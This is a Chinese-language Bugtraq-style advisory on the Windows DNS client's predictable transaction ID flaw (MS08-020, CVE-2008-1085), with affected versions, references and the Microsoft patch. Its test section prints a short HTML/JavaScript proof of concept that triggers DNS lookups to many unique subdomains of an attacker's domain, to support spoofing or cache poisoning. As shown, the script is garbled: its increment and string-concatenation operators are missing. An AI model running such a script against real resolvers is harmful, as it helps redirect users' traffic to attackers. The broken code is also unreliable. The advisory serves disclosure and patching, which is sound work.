Microsoft Windows DNS客户端可预测事件处理ID漏洞(MS08-020)

受影响系统:
Microsoft Windows XP SP2
Microsoft Windows Vista
Microsoft Windows Server 2003 SP2
Microsoft Windows Server 2003 SP1
Microsoft Windows 2000SP4
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 28553
CVE(CAN) ID: CVE-2008-1085

Microsoft Windows是微软发布的非常流行的操作系统。

Windows DNS客户端服务在执行DNS查询时,随机选择事件处理值没有提供足够的熵。未经认证的攻击者可以向有漏洞客户端的DNS请求返回恶意响应,欺骗或重新定向合法位置的Internet通讯。

<*来源:Amit Klein ([email protected]

链接:http://secunia.com/advisories/29696/
http://marc.info/?l=bugtraq&m=120767868524748&w=2
http://www.trusteer.com/docs/Microsoft_Windows_resolver_DNS_cache_poisoning.pdf
http://www.microsoft.com/technet/security/Bulletin/MS08-020.mspx?pf=true
http://www.us-cert.gov/cas/techalerts/TA08-099A.html
*>

测试方法:
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警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>
<body>
<script>
var max_n=20;
var n=0;
var x=new Image();
x.onerror=loadnext;
x.onload=loadnext;
function loadnext()
{
if (n<max_n)
{
n ;
x.src="http://t-" (new Date()).getTime()
"-" n ".domain.site/";
}
}
loadnext();
</script>
</body>
</html>

建议:
--------------------------------------------------------------------------------
厂商补丁:

Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS08-020)以及相应补丁:
MS08-020:Vulnerability in DNS Client Could Allow Spoofing (945553)
链接:http://www.microsoft.com/technet/security/Bulletin/MS08-020.mspx?pf=true

dns

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